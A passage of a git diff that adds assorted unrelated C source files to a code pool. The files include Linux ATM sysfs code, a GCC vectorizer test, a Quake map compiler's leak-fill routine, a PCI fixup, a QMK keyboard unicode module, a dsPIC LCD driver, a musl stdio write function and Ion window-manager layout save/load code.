atm_release, + .dev_uevent = atm_uevent, +}; + +int atm_register_sysfs(struct atm_dev *adev, struct device *parent) +{ + struct device *cdev = &adev->class_dev; + int i, j, err; + + cdev->class = &atm_class; + cdev->parent = parent; + dev_set_drvdata(cdev, adev); + + dev_set_name(cdev, "%s%d", adev->type, adev->number); + err = device_register(cdev); + if (err < 0) + return err; + + for (i = 0; atm_attrs[i]; i++) { + err = device_create_file(cdev, atm_attrs[i]); + if (err) + goto err_out; + } + + return 0; + +err_out: + for (j = 0; j < i; j++) + device_remove_file(cdev, atm_attrs[j]); + device_del(cdev); + return err; +} + +void atm_unregister_sysfs(struct atm_dev *adev) +{ + struct device *cdev = &adev->class_dev; + + device_del(cdev); +} + +int __init atm_sysfs_init(void) +{ + return class_register(&atm_class); +} + +void __exit atm_sysfs_exit(void) +{ + class_unregister(&atm_class); +} diff --git a/pool/shard011/C/0142099_vect-iv-8.c b/pool/shard011/C/0142099_vect-iv-8.c new file mode 100644 index 0000000000000000000000000000000000000000..dd37d250e91c3839c21fb3c22dc895be367cdcec --- /dev/null +++ b/pool/shard011/C/0142099_vect-iv-8.c @@ -0,0 +1,42 @@ +/* { dg-require-effective-target vect_int } */ + +#include +#include "tree-vect.h" + +#define N 26 + +__attribute__ ((noinline)) int main1 (short X) +{ + unsigned char a[N]; + unsigned short b[N]; + unsigned int c[N]; + short myX = X; + int i; + + /* vectorization of induction with type conversions. */ + for (i = 0; i < N; i++) + { + a[i] = (unsigned char)X; + b[i] = X; + c[i] = (unsigned int)X; + X++; + } + + /* check results: */ + for (i = 0; i < N; i++) + { + if (a[i] != (unsigned char)myX || b[i] != myX || c[i] != (unsigned int)myX++) + abort (); + } + + return 0; +} + +int main (void) +{ + check_vect (); + + return main1 (3); +} + +/* { dg-final { scan-tree-dump-times "vectorized 1 loops" 1 "vect" { target { vect_pack_trunc && vect_unpack } } } } */ diff --git a/pool/shard011/C/0142100_outside.c b/pool/shard011/C/0142100_outside.c new file mode 100644 index 0000000000000000000000000000000000000000..5fc28e19048bc1090d6705091f303cdf097719de --- /dev/null +++ b/pool/shard011/C/0142100_outside.c @@ -0,0 +1,245 @@ + +#include "bsp5.h" + +int outleafs; + +/* +=========== +PointInLeaf + +Vic: rewrote to be faster +LordHavoc: shortened a little +=========== +*/ +node_t *PointInLeaf (node_t *node, vec3_t point) +{ + while (!node->contents) + node = node->children[(DotProduct (planes[node->planenum].normal, point) <= planes[node->planenum].dist)]; + return node; +} + +/* +=========== +PlaceOccupant +=========== +*/ +qboolean PlaceOccupant (int num, vec3_t point, node_t *headnode) +{ + node_t *n; + + n = PointInLeaf (headnode, point); + if (n->contents == CONTENTS_SOLID) + return false; + n->occupied = num; + return true; +} + + +/* +============== +MarkLeakTrail +============== +*/ +portal_t *prevleaknode; +FILE *leakfile; +void MarkLeakTrail (portal_t *n2) +{ + int i, j; + vec3_t p1, p2, dir; + vec_t len; + portal_t *n1; + + n1 = prevleaknode; + prevleaknode = n2; + + if (!n1) + return; + + VectorCopy (n2->winding->points[0], p1); + for (i = 1;i < n2->winding->numpoints;i++) + for (j = 0;j < 3;j++) + p1[j] = (p1[j] + n2->winding->points[i][j]) / 2; + + VectorCopy (n1->winding->points[0], p2); + for (i = 1;i < n1->winding->numpoints;i++) + for (j = 0;j < 3;j++) + p2[j] = (p2[j] + n1->winding->points[i][j]) / 2; + + VectorSubtract (p2, p1, dir); + len = VectorLength (dir); + VectorNormalize (dir); + + if (!leakfile) + leakfile = fopen (pointfilename, "w"); + if (!leakfile) + Error ("Couldn't open %s\n", pointfilename); + + while (len > 2) + { + fprintf (leakfile, "%f %f %f\n", p1[0], p1[1], p1[2]); + for (i = 0;i < 3;i++) + p1[i] += dir[i] * 2; + len -= 2; + } +} + +/* +================== +RecursiveFillOutside + +If fill is false, just check, don't fill +Returns true if an occupied leaf is reached +================== +*/ +int hit_occupied; +qboolean RecursiveFillOutside (node_t *l, qboolean fill) +{ + portal_t *p; + int s; + + if (l->contents == CONTENTS_SOLID || l->contents == CONTENTS_SKY) + return false; + + if (l->valid == valid) + return false; + + if (l->occupied) + { + hit_occupied = l->occupied; // LordHavoc: this was missing from the released source... odd + return true; + } + + l->valid = valid; + +// fill it and it's neighbors + if (fill) + l->contents = CONTENTS_SOLID; + outleafs++; + + for (p = l->portals;p;) + { + s = (p->nodes[0] == l); + + if (RecursiveFillOutside (p->nodes[s], fill) ) + { + // leaked, so stop filling + if (!hullnum) + { + MarkLeakTrail (p); + DrawLeaf (l, 2); + } + return true; + } + p = p->next[!s]; + } + + return false; +} + +/* +================== +ClearOutFaces + +================== +*/ +void ClearOutFaces (node_t *node) +{ + face_t **fp; + + if (node->planenum != -1) + { + ClearOutFaces (node->children[0]); + ClearOutFaces (node->children[1]); + return; + } + if (node->contents != CONTENTS_SOLID) + return; + + for (fp = node->markfaces;*fp;fp++) + { + // mark all the original faces that are removed + (*fp)->numpoints = 0; + } + node->faces = NULL; +} + + +//============================================================================= + +/* +=========== +FillOutside + +=========== +*/ +qboolean FillOutside (node_t *node) +{ + int s; + vec_t *v; + int i; + qboolean inside; + + qprintf ("----- FillOutside ----\n"); + + if (nofill) + { + printf ("skipped\n"); + return false; + } + + inside = false; + for (i=1 ; i= 0.1) + { + if (PlaceOccupant (i, entities[i].origin, node)) + inside = true; + } + } + + if (!inside) + { + printf ("Hullnum %i: No entities in empty space -- no filling performed\n", hullnum); + return false; + } + + s = !(outside_node.portals->nodes[1] == &outside_node); + +// first check to see if an occupied leaf is hit + outleafs = 0; + valid++; + + prevleaknode = NULL; + + if (RecursiveFillOutside (outside_node.portals->nodes[s], false)) + { + if (leakfile) + fclose(leakfile); + leakfile = NULL; + if (!hullnum) + { + v = entities[hit_occupied].origin; + qprintf ("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + qprintf ("reached occupant at: (%4.0f,%4.0f,%4.0f)\n", v[0], v[1], v[2]); + qprintf ("no filling performed\n"); + qprintf ("leak file written to %s\n", pointfilename); + qprintf ("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + } + + // remove faces from filled in leafs + ClearOutFaces (node); + return false; + } + + // now go back and fill things in + valid++; + RecursiveFillOutside (outside_node.portals->nodes[s], true); + + // remove faces from filled in leafs + ClearOutFaces (node); + + qprintf ("%4i outleafs\n", outleafs); + return true; +} + + diff --git a/pool/shard011/C/0142101_fixup-rc32434.c b/pool/shard011/C/0142101_fixup-rc32434.c new file mode 100644 index 0000000000000000000000000000000000000000..68f853767c2c2880706abffd59a9e8bfc0fb3961 --- /dev/null +++ b/pool/shard011/C/0142101_fixup-rc32434.c @@ -0,0 +1,70 @@ +/* + * Copyright 2001 MontaVista Software Inc. + * Author: MontaVista Software, Inc. + * stevel@mvista.com or source@mvista.com + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN + * NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF + * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +#include +#include + +#include +#include + +static int __devinitdata irq_map[2][12] = { + {0, 0, 2, 3, 2, 3, 0, 0, 0, 0, 0, 1}, + {0, 0, 1, 3, 0, 2, 1, 3, 0, 2, 1, 3} +}; + +int __devinit pcibios_map_irq(struct pci_dev *dev, u8 slot, u8 pin) +{ + int irq = 0; + + if (dev->bus->number < 2 && PCI_SLOT(dev->devfn) < 12) + irq = irq_map[dev->bus->number][PCI_SLOT(dev->devfn)]; + + return irq + GROUP4_IRQ_BASE + 4; +} + +static void rc32434_pci_early_fixup(struct pci_dev *dev) +{ + if (PCI_SLOT(dev->devfn) == 6 && dev->bus->number == 0) { + /* disable prefetched memory range */ + pci_write_config_word(dev, PCI_PREF_MEMORY_LIMIT, 0); + pci_write_config_word(dev, PCI_PREF_MEMORY_BASE, 0x10); + + pci_write_config_byte(dev, PCI_CACHE_LINE_SIZE, 4); + } +} + +/* + * The fixup applies to both the IDT and VIA devices present on the board + */ +DECLARE_PCI_FIXUP_HEADER(PCI_ANY_ID, PCI_ANY_ID, rc32434_pci_early_fixup); + +/* Do platform specific device initialization at pci_enable_device() time */ +int pcibios_plat_dev_init(struct pci_dev *dev) +{ + return 0; +} diff --git a/pool/shard011/C/0142102_unicode.c b/pool/shard011/C/0142102_unicode.c new file mode 100644 index 0000000000000000000000000000000000000000..2302a9555219a1f1b2fa112fcc3b1c73d7c77f93 --- /dev/null +++ b/pool/shard011/C/0142102_unicode.c @@ -0,0 +1,171 @@ +/* +Copyright 2020 rupa @rupa + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ + +#include "unicode.h" + +combined_mode_t combined_mode = CM_NULL; +bool _seeded = false; + +#if defined(UNICODEMAP_ENABLE) +const uint32_t PROGMEM unicode_map[] = { + [CCIR] = 0x20DD, // COMBINING CIRCLE ⃝ + [CENT] = 0x00A2, // ¢ + [CHEK] = 0x2713, // ✓ + [CKEY] = 0x20E3, // COMBINING KEYCAP ⃣ + [CUI] = 0x26A0, // ⚠ + [ECKS] = 0x2716, // ✖ + [EFF] = 0x017F, // ſ + [HAS] = 0x262D, // ☭ + [HUN] = 0x1F4AF, // 💯 + [IBNG] = 0x203D, // ‽ + [IRNY] = 0x2E2E, // ⸮ + [LALL] = 0x2200, // ∀ + [LELM] = 0x2208, // ∈ + [LEXI] = 0x2203, // ∃ + [LPRO] = 0x22A2, // ⊢ + [M4] = 0x2669, // ♩ + [M8] = 0x266A, // ♪ + [M8B] = 0x266B, // ♫ + [M16] = 0x266C, // ♬ + [NEG] = 0x20E0, // COMBINING NO ⃠ + [NOPE] = 0x1F6AB, // 🚫 + [NUM] = 0x2116, // № + [OM] = 0x0950, // ॐ + [SMB] = 0x263A, // ☻ + [SMW] = 0x263B, // ☺ + [STB] = 0x2605, // ★ + [STOP] = 0x26D4, // ⛔ + [STW] = 0x2606, // ☆ +}; +#endif + +const char *d6_map[] = { + "⚀", "⚁", "⚂", "⚃", "⚄", "⚅" +}; +const char *dance_map[] = { + "〜( ̄▽ ̄〜)", + "(〜 ̄▽ ̄)〜" +}; +const char *dance_more_map[] = { + "ƪ(˘⌣˘)┐", + "┌(˘⌣˘)ʃ" +}; +const char *flip_map[] = { + "(╯°□°)╯︵ ┻━━┻", + "(ノ-_-)ノ・・ ┻━━┻", + "(ノꐦ⊙曲ఠ)ノ彡┻━┻" +}; +const char *flip_back_map[] = { + "┬──┬◡ノ(° -°ノ)", + "┬──┬ノ( ゜-゜ノ)", + "┬──┬ノ(ಠ_ಠノ)" +}; +const char *joy_map[] = { + "ᕕ( ᐛ )ᕗ ", + "٩(ˊᗜˋ*)و", + "٩( ᐛ )و" +}; +const char *joy_harder_map[] = { + "\\\ ٩( ᐛ )و //", + "✧*。٩(ˊᗜˋ*)و✧*。" +}; + +const char *choice(const char *choices[], int size) { + if (_seeded == false) { + srand(timer_read32()); + dprintf("_seeded the roll\n"); + _seeded = true; + } + return choices[rand() % size]; +} + +const char *d6(void) { + return choice(d6_map, 6); +} +const char *dance(bool more) { + if (more) { + return choice(dance_more_map, 2); + } + return choice(dance_map, 2); +} +const char *flip(bool flip_back) { + if (flip_back) { + return choice(flip_back_map, 3); + } + return choice(flip_map, 3); +} +const char *joy(bool harder) { + if (harder) { + return choice(joy_harder_map, 2); + } + return choice(joy_map, 3); +} + +bool u_x(const char *text) { + send_unicode_string(text); + return false; +}; +bool u_xp(bool is_shifted, const char *shifted, const char *plain) { + send_unicode_string(is_shifted ? shifted : plain); + return false; +}; + +void zalgo(void) { + int number = (rand() % (8 + 1 - 2)) + 2; + unsigned int index; + for (index=0; index KC_0 && keycode < KC_MINUS) || keycode > KC_SLASH) { + return false; + } + tap_code(keycode); + unicode_input_start(); + switch (combined_mode) { + case CM_CIRCLE: + register_hex(0x20DD); + break; + case CM_NO: + register_hex(0x20E0); + break; + case CM_KEYCAP: + register_hex(0x20E3); + break; + case CM_ZALGO: + zalgo(); + break; + default: + break; + } + unicode_input_finish(); + return true; +} + +void cycle_combined_mode(void) { + if (combined_mode++ >= CM_MAX - 1) { + combined_mode = CM_NULL; + } +} + +combined_mode_t set_combined_mode(combined_mode_t mode) { + combined_mode = combined_mode == mode ? CM_NULL : mode; + return combined_mode; +} diff --git a/pool/shard011/C/0142103_lcd.c b/pool/shard011/C/0142103_lcd.c new file mode 100644 index 0000000000000000000000000000000000000000..46e93281391ee5f1868aa242521c82cb5c11a3cc --- /dev/null +++ b/pool/shard011/C/0142103_lcd.c @@ -0,0 +1,262 @@ +/* + * dspic_hal - Fat32lib hardware abstraction library for dspic MCUs + * Copyright (C) 2013 Fernando Rodriguez (frodriguez.developer@outlook.com) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License Version 3 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + */ + +#include "lcd.h" +#include "rtc.h" + +#define Fcy 40000000 + +void Delay( unsigned int delay_count ); +void Delay_Us( unsigned int delayUs_count ); + +#define Delay200uS_count (Fcy * 0.0002) / 1080 +#define Delay_1mS_Cnt (Fcy * 0.001) / 2950 +#define Delay_2mS_Cnt (Fcy * 0.002) / 2950 +#define Delay_5mS_Cnt (Fcy * 0.005) / 2950 +#define Delay_15mS_Cnt (Fcy * 0.015) / 2950 +#define Delay_1S_Cnt (Fcy * 1) / 2950 + +#define LCD_LINE_LENGTH 16 +#define LCD_LINE_COUNT 2 + + +/* +// generates a 25 ns delay +// ( at 40 mhz each instruction takes 25 nsecs ) +*/ +#define WAIT_25_NS( ) \ + asm("nop") + +/* +// send data to the lcd +*/ +#define SEND_DATA( data ) \ +{ \ + *( lcd->DataLine ) = data; \ + SEND_E_PULSE( ); \ +} + +/* +// sends a 12 ns pulse on the E line +*/ +#define SEND_E_PULSE( ) \ +{ \ + BP_SET( lcd->ELine ); \ + WAIT_25_NS( ); \ + BP_CLR( lcd->ELine ); \ +} + +/* +// initializes the lcd +*/ +void lcd_init(LCD_CONFIG* lcd) +{ + int i; + /* + // 15mS delay after Vdd reaches nnVdc + // + //if (lcd->VddRiseDelay) + // sleep(lcd->VddRiseDelay); + */ + Delay(Delay_5mS_Cnt); + /* + // set initial states for the data and + // control pins + */ + *lcd->DataLine = 0x00; /* assert data lines */ + BP_CLR( lcd->RWLine ); /* assert the R/W line */ + BP_CLR( lcd->RSLine ); /* assert the RS line */ + BP_CLR( lcd->ELine ); /* assert the E line */ + /* + // send initialization sequence + */ + SEND_DATA(0x38); + Delay(Delay_5mS_Cnt); + SEND_DATA(0x38); + Delay_Us(Delay200uS_count); + SEND_DATA(0x38); + Delay_Us(Delay200uS_count); + /* + // send initialization commands + */ + lcd_cmd( lcd, 0x38 ); /* function set */ + lcd_cmd( lcd, 0x0C ); /* Display on/off control, cursor blink off (0x0C) */ + lcd_cmd( lcd, 0x06 ); /* entry mode set (0x06) */ + lcd_cmd( lcd, 0x01 ); /* clear the LCD */ + lcd->line_no = 0; + lcd->line_pos = 0; + lcd->write_pos = 0; + lcd->last_update_s = 0; + lcd->last_update_ms = 0; + /* + // clear lcd buffers + */ + for (i = 0; i < LCD_LINE_LENGTH; i++) + { + lcd->lines[0][i] = 0x20; + lcd->lines[1][i] = 0x20; + } +} + +/* +// sends a command to the lcd +*/ +void lcd_cmd(LCD_CONFIG* lcd, unsigned char cmd) +{ + /* + // make sure that the R/W and RS lines + // are asserted + */ + BP_CLR( lcd->RWLine ); + BP_CLR( lcd->RSLine ); + /* + // send the command to the LCD + */ + SEND_DATA( cmd ); + /* + // microchip sample uses 5ms but + // 400 us works for me + */ + Delay_Us( Delay200uS_count ); + Delay_Us( Delay200uS_count ); +} + +void lcd_set_pos(LCD_CONFIG* lcd, unsigned char line, unsigned char pos) +{ + lcd->write_pos = (LCD_LINE_LENGTH * line) + pos; +} + +/* +// writes a character to the lcd +*/ +void lcd_write_char(LCD_CONFIG* lcd, unsigned char data) +{ + if (lcd->write_pos >= LCD_LINE_LENGTH * LCD_LINE_COUNT) + { + lcd->write_pos = 0; + } + /* + // write the char and update pos + */ + ((unsigned char*) lcd->lines)[lcd->write_pos++] = data; +} + +/* +// writes a string to the lcd +*/ +void lcd_write_string(LCD_CONFIG* lcd, unsigned char* str) +{ + while (*str) + lcd_write_char(lcd, *str++); +} + +/* +// writes a string to the lcd at the specified line index +// and moves the cursor to the end of the line +*/ +void lcd_write_line(LCD_CONFIG* lcd, unsigned char line, unsigned char* str) +{ + static unsigned char c; + c = 0; + /* + // write the 1st 16 string characters to the LCD buffer + */ + while (*str != 0x0 && c < LCD_LINE_LENGTH) + { + lcd->lines[line][c++] = *str++; + } + /* + // if less than 16 fill with spaces + */ + while (c < LCD_LINE_LENGTH) + { + lcd->lines[line][c++] = 0x20; + } + /* + // place the cursor at the end of the line + */ + lcd->write_pos = LCD_LINE_LENGTH * (line + 1); +} + +void lcd_idle_processing(LCD_CONFIG* lcd) +{ + static uint32_t s, ms; + s = lcd->last_update_s; + ms = lcd->last_update_ms; + rtc_timer_elapsed(&s, &ms); + + if (s + ms >= 2) + { + if (lcd->line_pos == LCD_LINE_LENGTH) + { + /* + // change line # and pos on lcd driver state + */ + lcd->line_pos = 0; + lcd->line_no++; + lcd->line_no = (lcd->line_no) % LCD_LINE_COUNT; + /* + // send change line command to lcd + */ + BP_CLR(lcd->RWLine); + BP_CLR(lcd->RSLine); + SEND_DATA((lcd->line_no == 0) ? 0x2 : 0xc0); + } + else + { + /* + // write next char + */ + BP_CLR(lcd->RWLine); + BP_SET(lcd->RSLine); + SEND_DATA(lcd->lines[lcd->line_no][lcd->line_pos++]); + BP_CLR(lcd->RSLine); + } + /* + // remember the time of the last update + */ + rtc_timer(&lcd->last_update_s, &lcd->last_update_ms); + } +} + +unsigned int temp_count; + +void Delay( unsigned int delay_count ) +{ + temp_count = delay_count +1; + while (temp_count--) + { + asm volatile("do #3200, inner" ); + asm volatile("nop"); + asm volatile("inner: nop"); + } +} + + +void Delay_Us( unsigned int delayUs_count ) +{ + temp_count = delayUs_count +1; + while (temp_count--) + { + asm volatile("do #1500, inner1" ); + asm volatile("nop"); + asm volatile("inner1: nop"); + } +} + diff --git a/pool/shard011/C/0142104_stdio_write.c b/pool/shard011/C/0142104_stdio_write.c new file mode 100644 index 0000000000000000000000000000000000000000..11ef32a210fb7dbaa89104d6696f86392fc4b626 --- /dev/null +++ b/pool/shard011/C/0142104_stdio_write.c @@ -0,0 +1,47 @@ +#include "stdio_impl.h" +#include + +static void cleanup(void *p) +{ + FILE *f = p; + if (!f->lockcount) __unlockfile(f); +} + +size_t __stdio_write(FILE *f, const unsigned char *buf, size_t len) +{ + struct iovec iovs[2] = { + { .iov_base = f->wbase, .iov_len = f->wpos-f->wbase }, + { .iov_base = (void *)buf, .iov_len = len } + }; + struct iovec *iov = iovs; + size_t rem = iov[0].iov_len + iov[1].iov_len; + int iovcnt = 2; + ssize_t cnt; + for (;;) { + //pthread_cleanup_push(cleanup, f); + //cnt = syscall_cp(SYS_writev, f->fd, iov, iovcnt); + cnt = syscall_cp(SYS_write, f->fd, iovs[0].iov_base, iovs[0].iov_len); + cnt += syscall_cp(SYS_write, f->fd, iovs[1].iov_base, iovs[1].iov_len); + //pthread_cleanup_pop(0); + if (cnt == rem) { + f->wend = f->buf + f->buf_size; + f->wpos = f->wbase = f->buf; + return len; + } + if (cnt < 0) { + f->wpos = f->wbase = f->wend = 0; + f->flags |= F_ERR; + return iovcnt == 2 ? 0 : len-iov[0].iov_len; + } + rem -= cnt; + if (cnt > iov[0].iov_len) { + f->wpos = f->wbase = f->buf; + cnt -= iov[0].iov_len; + iov++; iovcnt--; + } else if (iovcnt == 2) { + f->wbase += cnt; + } + iov[0].iov_base = (char *)iov[0].iov_base + cnt; + iov[0].iov_len -= cnt; + } +} diff --git a/pool/shard011/C/0142105_saveload.c b/pool/shard011/C/0142105_saveload.c new file mode 100644 index 0000000000000000000000000000000000000000..8c60f4b62677c3a2d663c05c8fb40357313dbdb7 --- /dev/null +++ b/pool/shard011/C/0142105_saveload.c @@ -0,0 +1,311 @@ +/* + * ion/ioncore/saveload.c + * + * Copyright (c) Tuomo Valkonen 1999-2007. + * + * See the included file LICENSE for details. + */ + +#include +#include +#include + +#include +#include +#include + +#include "common.h" +#include "global.h" +#include "region.h" +#include "screen.h" +#include "saveload.h" +#include "names.h" +#include "attach.h" +#include "reginfo.h" +#include "extlconv.h" +#include "group-ws.h" + + +static bool loading_layout=FALSE; +static bool layout_load_error=FALSE; + + +/*{{{ Session management module support */ + + +static SMAddCallback *add_cb; +static SMCfgCallback *cfg_cb; +static SMPHolderCallback *ph_cb; +static bool clientwin_was_missing=FALSE; + + +void ioncore_set_sm_callbacks(SMAddCallback *add, SMCfgCallback *cfg) +{ + add_cb=add; + cfg_cb=cfg; +} + + +void ioncore_get_sm_callbacks(SMAddCallback **add, SMCfgCallback **cfg) +{ + *add=add_cb; + *cfg=cfg_cb; +} + + +void ioncore_set_sm_pholder_callback(SMPHolderCallback *phcb) +{ + ph_cb=phcb; +} + + +void ioncore_clientwin_load_missing() +{ + clientwin_was_missing=TRUE; +} + + +/*}}}*/ + + +/*{{{ Load support functions */ + + +WRegion *create_region_load(WWindow *par, const WFitParams *fp, + ExtlTab tab) +{ + char *objclass=NULL, *name=NULL; + WRegionLoadCreateFn* fn=NULL; + WRegClassInfo *info=NULL; + WRegion *reg=NULL; + + if(!extl_table_gets_s(tab, "type", &objclass)) + return NULL; + + if(objclass==NULL) + return NULL; + + info=ioncore_lookup_regclass(objclass, FALSE); + if(info!=NULL) + fn=info->lc_fn; + + if(fn==NULL){ + warn(TR("Unknown class \"%s\", cannot create region."), + objclass); + layout_load_error=loading_layout; + return NULL; + } + + clientwin_was_missing=FALSE; + + reg=fn(par, fp, tab); + + if(reg==NULL){ + if(clientwin_was_missing && add_cb!=NULL && ph_cb!=NULL){ + WPHolder *ph=ph_cb(); + if(ph!=NULL){ + if(!add_cb(ph, tab)) + destroy_obj((Obj*)ph); + } + } + }else{ + if(!OBJ_IS(reg, WClientWin)){ + if(extl_table_gets_s(tab, "name", &name)){ + region_set_name(reg, name); + free(name); + } + } + } + + free(objclass); + + ph_cb=NULL; + + return reg; +} + + +/*}}}*/ + + +/*{{{ Save support functions */ + + +bool region_supports_save(WRegion *reg) +{ + return HAS_DYN(reg, region_get_configuration); +} + + +ExtlTab region_get_base_configuration(WRegion *reg) +{ + const char *name; + ExtlTab tab; + + tab=extl_create_table(); + + extl_table_sets_s(tab, "type", OBJ_TYPESTR(reg)); + + name=region_name(reg); + + if(name!=NULL && !OBJ_IS(reg, WClientWin)) + extl_table_sets_s(tab, "name", name); + + return tab; +} + + +static bool get_config_clientwins=TRUE; + + +ExtlTab region_get_configuration(WRegion *reg) +{ + ExtlTab tab=extl_table_none(); + if(get_config_clientwins || !OBJ_IS(reg, WClientWin)){ + CALL_DYN_RET(tab, ExtlTab, region_get_configuration, reg, (reg)); + } + return tab; +} + + +/*EXTL_DOC + * Get configuration tree. If \var{clientwins} is unset, client windows + * are filtered out. + */ +EXTL_EXPORT_AS(WRegion, get_configuration) +ExtlTab region_get_configuration_extl(WRegion *reg, bool clientwins) +{ + ExtlTab tab; + + get_config_clientwins=clientwins; + + tab=region_get_configuration(reg); + + get_config_clientwins=TRUE; + + return tab; +} + + +/*}}}*/ + + +/*{{{ save_workspaces, load_workspaces */ + + +static const char backup_msg[]=DUMMY_TR( +"There were errors loading layout. Backing up current layout savefile as\n" +"%s.\n" +"If you are _not_ running under a session manager and wish to restore your\n" +"old layout, copy this backup file over the layout savefile found in the\n" +"same directory while Ion is not running and after having fixed your other\n" +"configuration files that are causing this problem. (Maybe a missing\n" +"module?)"); + + +bool ioncore_init_layout() +{ + ExtlTab tab; + WScreen *scr; + bool ok; + int n=0; + + ok=extl_read_savefile("saved_layout", &tab); + + loading_layout=TRUE; + layout_load_error=FALSE; + + FOR_ALL_SCREENS(scr){ + ExtlTab scrtab=extl_table_none(); + bool scrok=FALSE; + + /* Potential Xinerama or such support should set the screen ID + * of the root window to less than zero, and number its own + * fake screens up from 0. + */ + if(screen_id(scr)<0) + continue; + + if(ok) + scrok=extl_table_geti_t(tab, screen_id(scr), &scrtab); + + n+=(TRUE==screen_init_layout(scr, scrtab)); + + if(scrok) + extl_unref_table(scrtab); + } + + loading_layout=FALSE; + + if(layout_load_error){ + time_t t=time(NULL); + char tm[]="saved_layout.backup-YYYYMMDDHHMMSS\0\0\0\0"; + char *backup; + + strftime(tm+20, 15, "%Y%m%d%H%M%S", localtime(&t)); + backup=extl_get_savefile(tm); + if(backup==NULL){ + warn(TR("Unable to get file for layout backup.")); + return FALSE; + } + if(access(backup, F_OK)==0){ + warn(TR("Backup file %s already exists."), backup); + free(backup); + return FALSE; + } + warn(TR(backup_msg), backup); + if(!extl_serialize(backup, tab)) + warn(TR("Failed backup.")); + free(backup); + } + + if(n==0){ + warn(TR("Unable to initialise layout on any screen.")); + return FALSE; + }else{ + return TRUE; + } +} + + +bool ioncore_save_layout() +{ + WScreen *scr=NULL; + ExtlTab tab=extl_create_table(); + bool ret; + + if(tab==extl_table_none()) + return FALSE; + + FOR_ALL_SCREENS(scr){ + ExtlTab scrtab; + + /* See note above */ + if(screen_id(scr)<0) + continue; + + scrtab=region_get_configuration((WRegion*)scr); + + if(scrtab==extl_table_none()){ + warn(TR("Unable to get configuration for screen %d."), + screen_id(scr)); + }else{ + extl_table_seti_t(tab, screen_id(scr), scrtab); + extl_unref_table(scrtab); + } + } + + ret=extl_write_savefile("saved_layout", tab); + + extl_unref_table(tab); + + if(!ret) + warn(TR("Unable to save layout.")); + + return ret; +} + + +/*}}}*/ + + diff --git a/pool/shard011/C/0142106_pebs_addr.c b/pool/shard011/C/0142106_pebs_addr.c new file mode 100644 index 0000000000000000000000000000000000000000..b848332d7a565a7a9460ec4cdb5eb10194521574 --- /dev/null +++ b/pool/shard011/C/0142106_pebs_addr.c @@ -0,0 +1,263 @@ +/* + PERF_SAMPLE_WEIGHT and PERF_SAMPLE_DATA_SRC need at least 3.10 kernel + +*/ + + + +/* Intel Volume 3-B + + 17.4.9 -- Debug store area. + On overflow, the PEBS event *after* the overflow + records to the DS area the PEBS information + The Instruction pointer points to one after + the instruction causing the issue. + + Linux handles this in arch/x86/kernel/cpu/perf_event_intel_ds.c + + PEBS is configured in the DS area setup. Sets min and max + values of the memory reason, and what value to reset the + counter to on interrupt. + + 18.7.1 Nehalem -- PEBS supported in all 4 general purpose counters + Load latency support added. + + AnyThread, Edge, Invert, CMask must be zero in PEBS event + + 18.7.1.2 Latency measure + MEM_INST_RETIRED event and LATENCY_ABOVE_THRESHOLD umask + + SR_PEBS_LD_LAT_THRESHOLD MSR programmed with the + latency of interest, only above is counted. + Minimum value for this is 3. + + Loads are randomly chosen to be tagged to measure + latency info. When PEBS is triggered, the most + recent randomly tagged value is reported. + + Linear Address, Latency, and Source reported + + 18.9.4 Sandybridge Support + + Like above but also stores. + Stores in PMC3 only + + table 18-18 + + With precise store, once triggered, full latency info + captured on the next store that completes. + + + 18.11 Haswell + + No precise store. + + Precise store replaced by Data Address Profiling. + + MEM_UOPS_RETIRED.STLB_MISS_LOADS + MEM_UOPS_RETIRED.STLB_MISS_STORES + MEM_UOPS_RETIRED.LOCK_LOADS + MEM_UOPS_RETIRED.SPLIT_STORES + MEM_UOPS_RETIRED.SPLIT_LOADS + MEM_UOPS_RETIRED.ALL_STORES + MEM_UOPS_RETIRED.ALL_LOADS + MEM_LOAD_UOPS_LLC_MISS_RETIRED.LOCAL_DRAM + MEM_LOAD_UOPS_RETIRED.L1_HIT + MEM_LOAD_UOPS_RETIRED.L2_HIT + MEM_LOAD_UOPS_RETIRED.L3_HIT + MEM_LOAD_UOPS_RETIRED.L1_MISS + MEM_LOAD_UOPS_RETIRED.L2_MISS + MEM_LOAD_UOPS_RETIRED.L3_MISS + MEM_LOAD_UOPS_RETIRED.HIT_LFB + MEM_LOAD_UOPS_L3_HIT_RETIRED.XSNP_MISS + 